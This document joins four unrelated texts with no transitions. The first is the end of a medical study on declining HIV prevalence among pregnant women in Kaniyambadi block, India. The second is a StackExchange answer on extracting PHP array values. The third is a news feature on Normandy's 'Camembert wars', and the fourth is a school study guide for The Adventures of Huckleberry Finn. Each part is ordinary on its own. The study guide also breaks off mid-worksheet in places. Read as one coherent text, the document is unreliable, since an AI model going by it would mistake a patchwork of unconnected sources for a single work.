Direct measurement of HIV incidence involves following up a seronegative population with repeated HIV tests, which is tedious. Therefore, an indirect estimation of the prevalence can be made from a population of people who may have recently been exposed, such as antenatal mothers. The aim of this study was to measure the prevalence of HIV among antenatal mothers and its change over a period of 14 years.
Materials and Methods {#sec1-2}
=====================
This study is a retrospective, cross-sectional study. It was approved by the Institutional Review Board of Christian Medical College. The data included and analyzed in this study were collected from the PPTCT program as conducted in the Kaniyambadi block (population, 108,000) between January 2002 and December 2016 by the Department of Community Health, Christian Medical College.
Pregnant women identified by the health workers were registered and encouraged to visit the mobile clinics for antenatal care. Once they are registered, blood was collected for routine investigations including HIV and HBsAg and antenatal care was given by our mobile health teams, led by a doctor, which visited each village at least once a month. A few antenatal women did not register with us.
All women were offered screening for HIV under the PPTCT program, and an opt-out procedure was followed. HIV testing was performed according to World Health Organization (WHO) recommendations.\[[@ref7]\] First, a rapid test was performed. If it was positive, the sample was retested. If both the tests were positive, both the patient and her husband were called to the base hospital. Detailed pretest counseling was done and blood was drawn for repeat rapid test and Western blot. If the rapid test was positive, the sample was sent to the Department of Virology, Christian Medical College, Vellore, for confirmation with Western blot.
Results {#sec1-3}
=======
During the study period, 32,088 pregnancies were registered for antenatal care in the peripheral clinics. A total of 29,985 antenatal women were tested for HIV, whereas 2103 women received antenatal care from other healthcare providers. Of all the samples tested, 55 (0.18%) tested positive for HIV. The observed HIV prevalence which was 5.9 per 1000 in 2002 had declined to 1.2 per 1000 in 2016. No women tested positive for HIV between 2012 and 2015 \[[Table 1](#T1){ref-type="table"}\]. The data analyzed are presented in 5-year blocks in [Table 2](#T2){ref-type="table"} to remove the fluctuation in annual rates caused by the small numbers of HIV-positive women detected each year \[[Figure 1](#F1){ref-type="fig"}\].
######
HIV prevalence in Kaniyambadi block
Year No. positive No. screened Prevalence 95% CI
------ -------------- -------------- ------------ -------- --------
2002 9 1514 0.594 0.207 0.9817
2003 7 2089 0.335 0.087 0.5829
2004 7 2310 0.303 0.079 0.5272
2005 2 2068 0.097 0 0.2307
2006 5\* 2127 0.235 0.029 0.4409
2007 8\* 2196 0.364 0.112 0.6163
2008 4\* 2038 0.196 0.004 0.3884
2009 4 2152 0.186 0.004 0.3679
2010 3\* 2012 0.149 0 0.3177
2011 4\* 2210 0.181 0.004 0.3582
2012 0 2035 0 0 0.147
2013 0 2007 0 0 0.147
2014 0 1766 0 0 0.17
2015 0 1840 0 0 0.163
2016 2 1621 0.123 0 0.2944
\*Includes patients who have been tested more than one time in subsequent pregnancies. CI: Confidence interval
######
HIV prevalence in 5-year blocks in Kaniyambadi
Year No. positive No. screened Prevalence 95% CI
----------- -------------- -------------- ------------ --------- -------
2002-2006 30 10108 0.3 0\. 191 0.403
2007-2011 23 10608 0.22 0.128 0.305
2012-2016 2 9269 0.02 0 0.051
CI: Confidence interval
{#F1}
A declining trend in HIV prevalence was also seen in the hospital setting where a total of 37,244 pregnant women were tested. The prevalence of HIV which was 3.7 per 1000 women in 2004 had declined to 0.31 per 1000 women in 2016 \[[Table 3](#T3){ref-type="table"}\].
######
Prevalence of HIV in pregnant women attending the hospital
Year Positive Tested Prevalence 95% CI
------ ---------- -------- ------------ -------- -------
2004 6 1623 0.37 0.0744 0.665
2005 5 2186 0.229 0.028 0.429
2006 7 2271 0.308 0.08 0.536
2007 3 2752 0.109 0 0.232
2008 5 2982 0.168 0.021 0.315
2009 3 3207 0.094 0 0.199
2010 3 3056 0.098 0 0.209
2011 3 3293 0.091 0 0.194
2012 7 3140 0.223 0.058 0.388
2013 1 3063 0.033 0 0.097
2014 2 3259 0.061 0 0.146
2015 2 3134 0.064 0 0.152
2016 1 3278 0.031 0 0.09
CI: Confidence interval
A declining trend was seen in both primi- and multigravid women \[[Table 4](#T4){ref-type="table"}\].
######
Prevalence of HIV among primi- and multigravid women
Primi Multigravid
------- ------------- ------ ---------------------- ------ --- ------ ----------------------
2003 2 852 0.235 (0.000, 0.560) 2003 5 1237 0.404 (0.051, 0.758)
2004 5 1008 0.496 (0.000, 0.930) 2004 2 1302 0.154 (0.000, 0.366)
2005 2 926 0.216 (0.000, 0.515) 2005 0 1142 0.000 (0.000, 0.263)
2006 2 958 0.209 (0.000, 0.498) 2006 1 1169 0.086 (0.000, 0.253)
2007 5 1018 0.491 (0.062, 0.921) 2007 1 1178 0.085 (0.000, 0.251)
2008 1 1014 0.099 (0.000, 0.292) 2008 0 1024 0.000 (0.000, 0.293)
2009 3 1064 0.282 (0.000, 0.601) 2009 1 1088 0.092 (0.000, 0.272)
2010 1 986 0.101 (0.000, 0.300) 2010 1 1026 0.097 (0.000, 0.288)
2011 3 1059 0.283 (0.000, 0.630) 2011 0 1151 0.000 (0.000, 0.261)
2012 0 959 0.000 (0.000, 0.313) 2012 0 1076 0.000 (0.000, 0.279)
2013 0 917 0.000 (0.000, 0.327) 2013 0 1090 0.000 (0.000, 0.275)
2014 0 817 0.000 (0.000, 0.367) 2014 0 949 0.000 (0.000, 0.316)
2015 0 821 0.000 (0.000, 0.365) 2015 0 1019 0.000 (0.000, 0.294)
2016 0 748 0.000 (0.000, 0.401) 2016 2 873 0.229 (0.000, 0.401)
CI: Confidence interval
Discussion {#sec1-4}
==========
India, being a country with poor socioeconomic development and a large number of migrant workers, seems to have a rise in HIV epidemic.\[[@ref8]\] A large number of programs have been used by the Government of India to screen for HIV and to prevent MTCT of HIV.
The prevalence of HIV in Tamil Nadu and other southern states of India seems to be declining. This is in contrast to earlier studies where the prevalence was found to be higher in Tamil Nadu than expected, involving even populations that were not at high risk.\[[@ref9]\] The prevalence of HIV in the community was found to range from 1.8% to 7.4% in earlier studies.\[[@ref9][@ref10]\] Various studies have reported a decline in HIV prevalence across the country,\[[@ref11][@ref12]\] whereas other studies have reported an increasing trend, such as the study by Gupta *et al.* that reports an increase from 0.7% in 2003--2004 to 0.9% in 2005--2006.\[[@ref13]\] Our study showed a declining trend in HIV prevalence among pregnant women.
The decline in HIV prevalence could be attributed to the various interventions done by the Department of Community Health of CMC, Vellore, which might have decreased the rates of transmission in the community. A few such interventions are as follows: barbers were educated on the need to use disposable blades in their practice and were given certificates of their compliance for displaying to their clientele; traditional dais were introduced to sterile techniques of conducting deliveries and to the use of disposable needles and syringes; newly married couples were counseled about safe sex practices and the use of condoms; school children were educated about HIV, modes of its spread, and safe sex practices; and health education was conducted among the masses about HIV and the prevention of its spread. In addition, programs to screen for sexually transmitted diseases were conducted among women in the reproductive age group.
What primary care physicians need to know is that the Government of India has a well-structured approach to controlling HIV in India. Screening of antenatal women is essential in preventing the MTCT which can occur. Health teaching to both the woman and her husband on safe sex practices is also essential in keeping the prevalence of HIV low. Primary care physicians, being the first contact point of the patient with the health system, play an important role in the education of women and their families.
The Government of India is committed to eliminating new HIV among children. Based on the new WHO guidelines, NACO will provide lifelong ART to all pregnant and breastfeeding women regardless of their CD4 count and the clinical stage of their disease.
Conclusion {#sec1-5}
==========
There is a decrease in new cases of HIV among antenatal women over the years. However, it is difficult to give one single intervention credit for it. A multipronged approach that improved awareness among different groups of people and involved various organizations such as the WHO, government bodies, and various nongovernmental organizations including our community health department has helped in decreasing the prevalence of HIV in Kaniyambadi block. This approach could be a model which other developing countries with high prevalence rates of HIV could follow.
Financial support and sponsorship {#sec2-1}
---------------------------------
Nil.
Conflicts of interest {#sec2-2}
---------------------
There are no conflicts of interest.
| {
"pile_set_name": "PubMed Central"
} |
Q:
Extract values from multidimensional array and store in separate array
I need to extract values from a multidimensional array. The startpoint is however an stdClass object. The aim is to use the extracted values to create a graph. The graph is not part of this question.
Question:
Is there a shorter and more straightforward way, then below?
Note that the values can be 100 so I do not plan to extract the values, one by one.
// Create an stdClass.
$products = (object)[
'group' => [
['level' => "12"],
['level' => "30"],
['level' => "70"],
]
];
// Transform stdClass to array.
$products = json_decode(json_encode($products), true);
var_dump($products);
// Calc amount of subarrays.
$amount_of_subarrays = count($products['group']);
$amount_of_subarrays = $amount_of_subarrays - 1; // Adjust since objects start with [0].
// Extract data from [$products], populate new array [$array].
$array = [];
for ($i=0; $i <= $amount_of_subarrays; $i++) {
$tmp = $products['group'][$i]['level'];
array_push($array, $tmp);
}
var_dump($array);
Result (as expected):
array(3) {
[0] =>
string(2) "12"
[1] =>
string(2) "30"
[2] =>
string(2) "70"
}
A:
Simplest way I know of is to use the array_column function which returns the values from a single column in the input array
E.g. array_column($products['group'], 'level') should return the expected result.
| {
"pile_set_name": "StackExchange"
} |
Said to smell like God's feet, France's favourite soft cheese is at the heart of a battle pitting small farmers against the corporations
In his tiny workshop with a view of his cows, Francois Durand stood lovingly ladling raw milk curd into cheese moulds. After several weeks of salting, ripening and maturing, these would turn into the pungent, oozing Camembert that is France's favourite soft cheese - as much part of the national stereotype as the Basque beret, the baguette and a glass of red wine.
"When you use raw, unpasteurised milk, the taste is nice and fruity," Durand mused as he inspected the smelly contents of his ripening rooms. "You can taste what the cows have been eating at different times of year."
Durand is the last dairy farmer in the tiny Normandy village of Camembert still making traditional, raw milk Camembert cheese. But the farm's visitor book hints at the bitter cheese wars that have poisoned the air of the surrounding hills and dales. "Be brave!" urges one scribbled French entry. "Keep up the fight! Thanks for defending real cheese."
For months, small cheese producers and Camembert connoisseurs have been engaged in a battle of David and Goliath, dubbed the "camembert wars", which have captured the French imagination and seen Normans take to the streets to defend their cheese's pungent tang.
"Camembert is a subject that unites all the French," the former president Francois Mitterrand once said. But when small, traditional producers are pitted against France's industrial dairy giants the divide seems vast.
Camembert, whose sharp aroma was once likened to "God's feet", was made fashionable by Napoleon III and popularised as part of rations to soldiers in the first world war. It is France's best-selling cheese after Emmental, so it is not surprising that French industrial diary giants moved in to mass-produce it, buying up small producers and delivering vast amounts of cheaper, machine-produced camembert to supermarket shelves. There are only five remaining small, traditional producers of the prized "Camembert de Normandie".
Last year, the two industrial giants that produced 80% of the exclusive Normandy Camembert that carries France's famous Apellation d'Origine Contrôlée (AOC) stamp of approval, tried to change the rules. Until then, all prized AOC-approved Normandy camembert had been made with raw milk.
The big groups decided instead to make most of their Camembert with pasteurised milk, saying they wanted to protect consumers' health because, when manufacturing large volumes, they could not ensure raw milk was free of dangerous bacteria.
Pasteurising their milk - a process which was cheaper and better suited to mass-production - meant the dairy giants could no longer carry the prized AOC label. But they began a fight to win back the precious AOC stamp, arguing that pasteurised cheese should be included in it.
Last month, Camembert aficionados breathed a sigh of relief when, after a long public battle, cheese authorities said they would protect small producers by reserving the AOC only for Normandy Camembert made in the traditional way with raw milk.
But small cheese-makers say the war is not over and the fight could be turning dirty. In recent weeks, the biggest industrial producer, Lactalis, snitched on a smaller, traditional competitor, telling authorities that dangerous bacteria was found in a batch of AOC raw milk Camembert produced by Reaux. Coincidentally, Reaux happened to be one of Lactalis's biggest critics. The smaller company said there was no evidence of contamination. "This was an operation to destabilise us, it's a new episode in the camembert war, that's for sure," said Reaux's director Bertrand Gillot.
"The camembert war is a symbol of the wider cheese crisis in France," warned Véronique Richez-Lerouge, founder of France's Regional Cheese Association, which lobbies to protect traditional raw-milk varieties.
Nicolas Sarkozy has vowed to apply for Unesco world heritage status for French cuisine. Yet, while French leaders have long promoted the ideal of French countryside produce, small, regional cheeses are under threat from intense-production and its food industry giants.
France produces 1,000 cheese varieties, and its huge consumption is second only to the champion cheese-eaters of Europe, the Greeks. But the problem for French purists is the type of cheese that the French are wolfing down. Raw milk cheese makes up only 15% of the market. Dozens of traditional cheese varieties have disappeared over the past 30 years as small producers die out or are bought up by industrial giants.
The new types of cheese created in France now include squeezable, spreadable, and artificially flavoured varieties which strike horror into experts who worry that French teenagers can no longer recognise a proper goat's cheese as their palettes have been numbed. Around 95% of French cheese is now bought in supermarkets, where even cheesemonger counters are disappearing as people prefer their fromage packaged and ready sliced from a fridge unit.
"If it continues like this, in 10 years' time traditional raw milk cheese will be over," Richez-Lerouge said. "France defends its terroir, its great chefs, but that's just window-dressing, in fact France is the nation of Carrefour [the world's second-biggest supermarket giant] and a vast density of McDonalds. Consumers in France aren't aware of the disaster that's happening."
She said even Britain where, like the US and Spain, raw milk cheese is currently in fashion, traditional makers were held in more esteem.
At a table on Durand's Normandy farm, Gérard Roger, a camembert historian and president of the newly-created Defence Committee for Authentic Camembert, reluctantly agreed to taste-test a mass-produced, big-selling supermarket camembert.
"Wow, it stinks," he says sniffing the pale, uniform cheese. "It's dull, it tastes of nothing." Roger's group, which has organised street demonstrations, see themselves as "guardians of the temple". Now they have won a victory in the AOC battle for raw milk camembert, they are lobbying to protect authentic production methods, encouraging more small farmers to make cheese using milk from local Normandy cows.
Francis Rouchaud the group's secretary and a former marketing expert, said the big industrial producers wanted to put out a maximum number of Camembert products: "It's Coca-Cola thinking".
Lactalis, the world's second largest dairy processor, countered: "We are not trying to kill off the small people, that doesn't interest us at all. We're a global dairy company in 20 countries. We've got better things to do." A spokesman said that although the risk from raw milk was very small, for the company's big brands it preferred not to take it. He said there was nothing malicious in alerting the authorities to a bacteria-risk in competitor's cheese.
Charlie Turnbull, an exclusive cheesemonger from Dorset and judge at the world cheese awards, was visiting Durand's farm to pay homage to the "cathedral" of camembert. "The French put art before enterprise," he said. "Whereas the British put enterprise before art."
But small French producers are still on guard against mass-produced cheese. Inspecting his matured Camemberts, Durand said: "We must keep fighting to defend raw milk cheese, but we can't do it alone, French consumers must help us." | {
"pile_set_name": "OpenWebText2"
} |
Read 90-30-HUC-818028 text version
THE GLENCOE LITERATURE LIBRARY
Study Guide
for
The Adventures of Huckleberry Finn
by Mark Twain
i
Meet Mark Twain
Hannibal to work as a printer's assistant. He held printing jobs in New York, Pennsylvania, and Iowa. Then, when he was twenty-one, he returned to the Mississippi River to train for the job he wanted above all others: steamboat pilot. A few years later, he became a licensed pilot, but his time as a pilot was cut short by the start of the Civil War, in 1861. After a two-week stint in the Confederate army, Clemens joined his brother in Carson City, Nevada. There, Clemens began to write humorous sketches and tall tales for the local newspaper. In February 1863, he first used the pseudonym, or pen name, that would later be known by readers throughout the world. It was a riverboating term for water two fathoms, or twelve feet, deep: "Mark Twain." Clemens next worked as a miner near San Francisco. In 1865 he published in a national magazine a tall tale he had heard in the minefields--"The Celebrated Jumping Frog of Calaveras County." It was an instant success. Later, he traveled to Hawaii, Europe, and the Middle East. The humorous book he wrote about his travels, The Innocents Abroad, made him famous. In 1870 Clemens married Olivia Langdon. A year later they moved to Hartford, Connecticut. At the same time, he began a successful career as a lecturer, telling humorous stories and reading from his books. More books followed, including Roughing It, a travel memoir about the West; The Adventures of Tom Sawyer; Life on the Mississippi; and The Prince and the Pauper. Thanks to his lecture tours and books, Mark Twain became familiar around the world. His death in 1910 was met with great sorrow.
I was born the 30th of November, 1835, in the almost invisible village of Florida, Monroe County, Missouri. . . . The village contained a hundred people and I increased the population by 1 percent. It is more than many of the best men in history could have done for a town.
ark Twain, whose real name was Samuel Clemens, was in many ways a self-made man. Clemens was born on the Missouri frontier, learned several trades, traveled widely, and transformed himself into Mark Twain, the larger-thanlife writer, lecturer, and symbol of America. Four years after Clemens was born, his father moved the family to Hannibal, Missouri, on the Mississippi River. There, the young boy lived an idyllic life. Some of his happiest days were spent on the riverbanks watching the parade of boats that passed by. In his memoir Life on the Mississippi (1883), he recalls the excitement people felt when the lazy summer air was pierced by the cry of "S-t-ea-m-boat a-comin!" "All in a twinkling," he wrote, "the dead town is alive and moving." Hannibal was also home to relatives, friends, and townspeople who served as the inspiration for characters in his fiction. But before Clemens could turn his childhood memories into literature, he needed to see something of the world. At the age of seventeen, he left
The Adventures of Huckleberry Finn Study Guide
9
Introducing the Novel
Persons attempting to find a motive in this narrative will be prosecuted; persons attempting to find a moral in it will be banished; persons attempting to find a plot in it will be shot.
--author's note from The Adventures of Huckleberry Finn
These humorous warnings were the first words that readers of The Adventures of Huckleberry Finn saw when they opened Mark Twain's new novel in 1885. At the time, Twain was already well known as a humorist and the author of the nostalgic "boy's book" The Adventures of Tom Sawyer. Therefore, Twain's readers probably did not expect that Twain would have serious motives for writing Huckleberry Finn or that the novel would teach serious moral lessons. In some ways, Huckleberry Finn is a sequel to, or a continuation of, Tom Sawyer. Huck was an important member of Tom Sawyer's group of friends in the earlier novel, and Jim appeared as well. The fictional setting of both books is St. Petersburg, a small Mississippi River port that Twain modeled on his hometown of Hannibal, Missouri. The earlier book tells of the rollicking good times had by all and is recognized as one of American literature's finest portrayals of a happy childhood. Readers therefore had reason to expect more lighthearted escapades and harmless hijinks in Huckleberry Finn. Readers soon found out, however, that Huckleberry Finn is very different from Tom Sawyer. The odd notice at the beginning of the novel is the first warning that things may not be exactly as they seem. The warning is ironic because the novel definitely has a motive, a moral, and a plot; and Twain wanted his readers to be aware of each of them. The structure of the book, which centers around a journey, allows Huck and Jim to meet many different kinds of people. The society of the small towns and villages along the great river mirrors American society as a whole, with all its
variety. The cast of characters includes many personalities with whom Twain was familiar: liars, cheaters, and hypocrites. The author examines these representative types, mercilessly exposing their weaknesses and displaying their terrible, senseless cruelty to others. Twain is especially bitter about the way slavery degraded the moral fabric of life along the river. His bitterness was, perhaps, rooted in the knowledge that he himself grew up thinking there was nothing wrong with a system that enslaved human beings. But Twain also holds up a few shining examples of human decency as models. In fact, Huckleberry Finn can be seen as hopeful. The novel shows that people can make the right decisions and defy injustice, that an individual's moral beliefs can lead him or her to reject what is wrong in society, and that sound personal values can overcome evil. Twain himself explained that the novel revolves around conflict between "a sound heart and a deformed conscience." Huck Finn is a child of his time, like the author who created him. Both character and author struggled to recognize and correct some of the wrongs of their society. Both learned to listen to the teachings of their sound hearts. Even though Huckleberry Finn is a serious book addressing important themes, it is also humorous. The novel is filled with hilarious incidents, oddball characters, and goofy misadventures, and the language the characters use is often laugh-out-loud funny. Like many authors, Twain based his characters on the people he knew. In his Autobiography, Twain disclosed the model for his most famous character, a boy he knew growing up in Hannibal:
Huckleberry Finn was Tom Blankenship. . . . In Huckleberry Finn I have drawn Tom Blankenship exactly as he was. He was ignorant, unwashed, insufficiently fed; but he had as good a heart as any boy ever had. His liberties were totally unrestricted. He was the only really independent person . . . in the community.
Many of the first readers of Huckleberry Finn were critical of the book. Some found its honest and unflinching portrayal of life to be coarse, while other readers found its dark view of society distasteful. Critics complained, and some libraries banned the book as unsuitable for children. Today, however, Huckleberry Finn is generally viewed as a masterpiece of American literature.
THE TIME AND PLACE
The Adventures of Huckleberry Finn is set in the Mississippi River Valley, around 1840. During the course of the novel, Huck and Jim float down the Mississippi River. They travel from
their hometown of St. Petersburg, Missouri, north of St. Louis, hundreds of miles into the Deep South. Some of the places they visit are real, while others are products of Twain's imagination. So important to the novel is the great Mississippi River that many readers consider it as much a character as a place. T. S. Eliot, the great twentieth-century poet who grew up in St. Louis, said, "The River makes the book a great book." It fired the imagination of the young Twain, served as the setting for his beloved riverboats, and became the only real home Huckleberry Finn and Jim were to know.
Did You Know?
In the years before the Civil War, which started in 1861, Missouri and other southern states allowed slavery. Mark Twain's father was a slaveholder, and enslaved Africans were a common sight in Twain's boyhood home of Hannibal. However, even though many people in Missouri were immigrants from southern states and supporters of slavery, many others opposed it. Missourians' mixed feelings about slavery prevented the state from ever joining other slaveholding states in the Confederacy and made it a battleground during the Civil War.
Freedom means different things to different people. What does it mean to you? List Ideas With a partner, examine what the concept of freedom means to you. Brainstorm a list of statements that describe the idea of freedom. Setting a Purpose Read to find out what freedom means to a boy and a man living during the 1800s.
BACKGROUND
Point of View Point of view is the relationship of the narrator, or storyteller, to the events of the story. Huckleberry Finn is told by the character Huck, using words like I and we. Therefore, it is told from the first-person point of view. The reader sees everything through Huck's eyes and is given his perspective on events. When examining a narrative point of view, it is important to distinguish the narrator from the author. Huck is an uneducated fourteen-year-old boy living in a village in the 1840s. He has the knowledge, beliefs, and experiences of such a boy. Twain, on the other hand, was a well-traveled writer and experienced lecturer. He was well aware of how to use narrative techniques, adopt different points of view, and speak in the role of different characters, and he used that knowledge to create a narrator who is very different from himself. Unreliable Narrator Huckleberry Finn is also an example of an unreliable narrator--one who does not understand the full significance of the events he describes and comments on. Huck is not intentionally unreliable; his lack of education and experience makes him so. Much of the humor in the first chapters comes from Huck's incomplete understanding of the adults around him and their "sivilized" ways.
The first chapters of a novel introduce readers to the conflicts, or struggles, that the characters will face throughout the course of the story. External conflicts are struggles between characters who have different goals or between a character and forces of nature. Internal conflicts are psychological struggles that characters experience when they are unhappy or face difficult decisions. External conflicts often trigger internal conflicts. As you read the first fifteen chapters of Huckleberry Finn, use the chart below to keep track of the conflicts that the characters experience. Add boxes on a separate sheet of paper if you need to. Recognizing major conflicts will help you understand the major themes, or ideas about life, that are developed in the novel.
Huck
vs.
Miss Watson and the Widow
Explanation of conflict: the sisters want to " ivilize Huck; he wants to be free s "
4. Where is Huck reunited with Jim? In what significant ways are Jim and Huck alike? In what significant ways are they different?
5. Why does Huck put a dead snake on Jim's blanket? What harm comes to Jim as a result of the incident? In your opinion, is Huck sorry for the harm he caused? Explain.
14
The Adventures of Huckleberry Finn Study Guide
Name
Date
Class
Responding
The Adventures of Huckleberry Finn Chapters 115
Analyzing Literature (continued)
Evaluate and Connect 6. How successful do you feel Mark Twain is in creating the character of Jim? Does Jim seem like a real person to you? Explain why or why not.
7. Huck takes to the river to find freedom and escape from people and situations that restrict his liberty. What are some ways that people today can find personal freedom? Is Huck's way still possible? Explain your answer.
Analyzing Relationships Review Chapters 2 through 15, paying special attention to Huck's relationship with Jim. Note how Huck treats Jim as well as how Huck feels about him. Then, on a separate sheet of paper, write a brief analysis of their relationship. What changes does it undergo? What do you think causes these changes? Support your opinions with quotations and other evidence from the novel.
Extending Your Response
Literature Groups Nature plays an important part in Huck's life. In your group, find passages in Chapters 1 through 15 in which Huck describes nature and natural elements. Then discuss what meanings these elements seem to have for Huck. Pay particular attention to what Huck finds in nature that is lacking in his relationships with people. Present your examples to the rest of the class. Geography Connection Draw or photocopy a map of the Mississippi River Valley. Then track Huck and Jim's journey on the Mississippi River. Put a star or other symbol next to towns that they visit.
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The Adventures of Huckleberry Finn Study Guide
15
Before You Read
The Adventures of Huckleberry Finn Chapters 1631
FOCUS ACTIVITY
How do you go about making important decisions? Do you tend to follow your heart or your head? Journal In your journal, write about a time when you had to make an important decision. Briefly describe how you decided what to do. Setting a Purpose Read to find out what important decisions Huck faces and how he goes about making them.
BACKGROUND
Satire and Irony Satire is a kind of literature that tries to open people's eyes to the need for change by exposing the flaws of a person or society. Satirists' main weapon is humor, which is created through techniques such as irony. Irony is the contrast between what appears to be true and is actually true, or between what we expect to happen and what actually happens. Twain created an ironic character in Pap. We expect a father to be proud of his son and provide for him, but Pap is angry that Huck is learning to read and "getting religion," and Pap wants to spend Huck's money on himself. Though we may laugh at Pap, we should also be aware of the messages behind the humor: Judge Thatcher is too easily tricked by Pap's "reformation," and there is something wrong with a system that would let Pap take Huck. Through the use of irony, Twain develops some of the most important themes of Huckleberry Finn. As you read Chapters 16 through 31, look for examples of irony, and think about the flaws that Twain is attempting to expose.
In Huckleberry Finn, people and things are not always what they appear to be. As you read Chapters 16 through 31, make note of times when people or things appear to be one way but are actually very different underneath. In the left-hand column of the chart below, note what the character or thing seems to be. In the right-hand column, note what the character or thing actually is. Add rows to the chart if necessary. Appearance Reality
3. What does Buck say when Huck asks him how the feud between the Shepherdsons and the Grangerfords got started? What is ironic about Buck's response?
4. Who is Colonel Sherburn? Briefly sum up the speech he makes to the mob. What aspect of human nature does Sherburn criticize?
18
The Adventures of Huckleberry Finn Study Guide
Name
Date
Class
Responding
The Adventures of Huckleberry Finn Chapters 1631
Analyzing Literature (continued)
Evaluate and Connect 5. Mark Twain makes heavy use of dialect in Huckleberry Finn. How successful do you feel he is? What are some advantages for an author in deciding to render speech in dialect, as Twain does? What are some possible disadvantages?
6. How might Huck answer the Focus Activity question that you answered in your journal? How does this answer compare with yours?
Literature and Writing
Isn't It Ironic? Throughout the novel, Huck is taught that "sivilized society" is right and he is wrong. As a result, he believes he will "go to hell" for rescuing Jim. On a separate sheet of paper, write a brief analysis of the irony in Huck's situation. What evil does the irony expose?
Literature Groups In this section of the novel, Mark Twain contrasts life on the raft with life on shore. In your group, discuss the differences between what the raft represents to Huck and what life on shore is like. Cite lines from the text that describe raft life and shore life to support your argument. Then present your conclusions to others in your class. Learning for Life The Shepherdsons and the Grangerfords are unable to settle their differences, and so they resort to violence. Imagine that you have been called into help them resolve their conflict through peaceful means. What would you say to them? What would you have them do? In a small group, role-play a conflict resolution meeting between the two families.
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The Adventures of Huckleberry Finn Study Guide
19
Before You Read
The Adventures of Huckleberry Finn Chapters 3243
FOCUS ACTIVITY
In many popular adventure stories, the hero is held captive by evil enemies or forces yet manages to escape. Sharing Ideas As a class, discuss books and movies in which a hero overcomes seemingly impossible odds to find freedom. Who or what holds the hero captive? What miseries does the hero endure while being held? How does the hero escape? Do friends help? Setting a Purpose Read to find out how Huck and a friend plan to help Jim escape.
BACKGROUND
The Antihero Traditional heroes are often superhuman. We look up to them because they are braver, stronger, more clever, or more unwilling to sacrifice their principles than we. Antiheroes, on the other hand, are very human. Like us, they have faults, make mistakes, and puzzle over difficult decisions. In the end, however, antiheroes usually do the "right thing"--what we, ourselves, hope we would do in similar circumstances. As you read the final chapters of Huckleberry Finn, think about the heroes of the novel. Are they traditional heroes or antiheroes? What makes them so? The Controversial Conclusion As Mark Twain wrote Huckleberry Finn, he pondered over the plot. He thought especially long and hard about how to end the novel and effectively resolve the conflicts that he had presented. Though some critics feel that the conclusion of Huckleberry Finn is logical and effective, other critics have severely criticized it. As you read the last chapters of Huckleberry Finn, think about the events that came before and the way that the characters in the novel usually behave. Then judge the conclusion for yourself. Is it consistent with the characters we have come to know? Does it resolve the major conflicts in the novel in a satisfactory way?
As you saw at the beginning of Huckleberry Finn, Tom Sawyer is fond of romantic adventure stories and enjoys pretending that he is taking part in one. Use the diagram below to chart the major events in Tom's adventurous "rescue" of Jim. You may extend the diagram if necessary.
3. What does Tom's elaborate plan to free Jim tell you about Tom? What does it tell you about his attitude toward Jim?
4. What does Huck decide to do at the end of the novel? Why doesn't he stay with Aunt Sally?
22
The Adventures of Huckleberry Finn Study Guide
Name
Date
Class
Responding
The Adventures of Huckleberry Finn Chapters 3243
Analyzing Literature (continued)
Evaluate and Connect 5. Many critics of Huckleberry Finn have pointed out that the Phelps' farm episode differs in tone and seriousness from the first two-thirds of the novel. Do you agree? Explain your answer, supporting it with evidence from the text.
6. Mark Twain called Huckleberry Finn "a book of mine where a sound heart and a deformed conscience come into collision and conscience suffers defeat." What influences have "deformed" Huck's conscience? Are such influences still at work in the world today? What forces are available to try to change "deformed consciences"?
Literature and Writing
You Have Mail Imagine a friend in another city has learned that you have just finished reading Huckleberry Finn. Your curious friend sends you an E-mail that says, "All I know is that that book is about a journey down the Mississippi River--what does this journey mean?" Write a short E-mail response to your friend, explaining the meaning of the journey.
Literature Groups Flat characters remain the same from the beginning of a novel to the end. Round characters undergo psychological changes as a result of the conflicts they face and try to resolve. In your group, discuss the characters of Huck and Jim. Are they flat or round? Use evidence from the novel to support your opinions, and present your conclusions to the rest of the class. Psychology Connection Psychologists often evaluate the mental health and personalities of their patients by observing their behavior or listening to their answers to questions. Play the role of a psychologist and prepare short personality evaluations of Huck and Tom, based on their actions and words in Chapters 32 through 43. Compare their two personalities, citing differences and similarities. Offer evidence from the text to support your evaluation.
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The Adventures of Huckleberry Finn Study Guide
23
Name
Date
Class
Responding
The Adventures of Huckleberry Finn
Personal Response
The novel ends with Huck feeling unsure about what his future holds. What do you predict will happen to Huck? What sort of life do you think he will have? Why?
A symbol is a person, place, or thing that represents something beyond itself. On a separate sheet of paper, analyze the Mississippi River as a symbol. Suggest what it means in the novel, and explain why the river is such an appropriate symbol for the meanings the author assigns it. Give examples from the text to support your views.
Imagine that Huck is a fourteen-year-old living today. "Update" Huck's dialect by translating it into today's slang. On a separate sheet of paper, rewrite the first few paragraphs of the novel (or another passage of your choice).
The Adventures of Huckleberry Finn Study Guide
25
Name
Date
Class
from Incidents in the Life of a Slave Girl Harriet Jacobs
Before You Read
Focus Question
What dangers did enslaved people face in order to escape slavery?
Background
Like Jim, Harriet Jacobs was born into slavery. Unlike Jim, Jacobs was a real person. In her autobiography, published in 1861, she gives an account of her experiences as a slave and of her journey to freedom.
Responding to the Reading
1. What are your first impressions of Jacobs's account? Why do you think you responded this way?
2. What ultimately happens to Jacobs's children? How does it make her feel? Why?
3. Making Connections How does this reading help you understand the character of Jim?
Literature Groups
Imagine that Jim, Huck, and Harriet Jacobs could have a conversation about relations between African Americans and whites during the time they lived. Work together to write a dialogue, and share it with other groups.
26
The Adventures of Huckleberry Finn Study Guide
Name
Date
Class
Before the Fire Canoe
Before You Read
Focus Question
What makes a good description?
Frank Donovan
Background
Donovan's historical nonfiction describes the boats and the people who worked on America's rivers. This reading looks at life on the Mississippi River.
Responding to the Reading
1. From Donovan's description, do you think you would have liked to work on a riverboat? Explain.
2. Donovan writes, "Samuel Clemens [Mark Twain] was . . . being magnanimous" in his description of the rivermen. What does Donovan mean? What does he think of the rivermen?
3. Making Connections Donovan and Twain write about the "natural hazards" of boat travel on the river. Compare and contrast their writing styles--including point of view and word choice.
Donovan and Twain recorded many observations about river life. Think of a busy place you know well, and write a paragraph describing the place in detail. Ask other students how well they are able to form a mental image of the place you have described. Use their suggestions to revise your description.
The Adventures of Huckleberry Finn Study Guide
27
Name
Date
Class
The Late Benjamin Franklin and My First Lie, and How I Got Out of It Mark Twain
Before You Read
Focus Question
When is using humor a good way to convey a message?
Background
Mark Twain was a master of satire. As you will see in the following two essays, he was a keen observer of society and used wit and sarcasm to ridicule human weaknesses.
Responding to the Reading
1. Give three or four examples of people or things Twain satirizes in these essays.
2. In "The Late Benjamin Franklin" Twain writes, "His maxims were full of animosity toward boys." What does he mean by this statement?
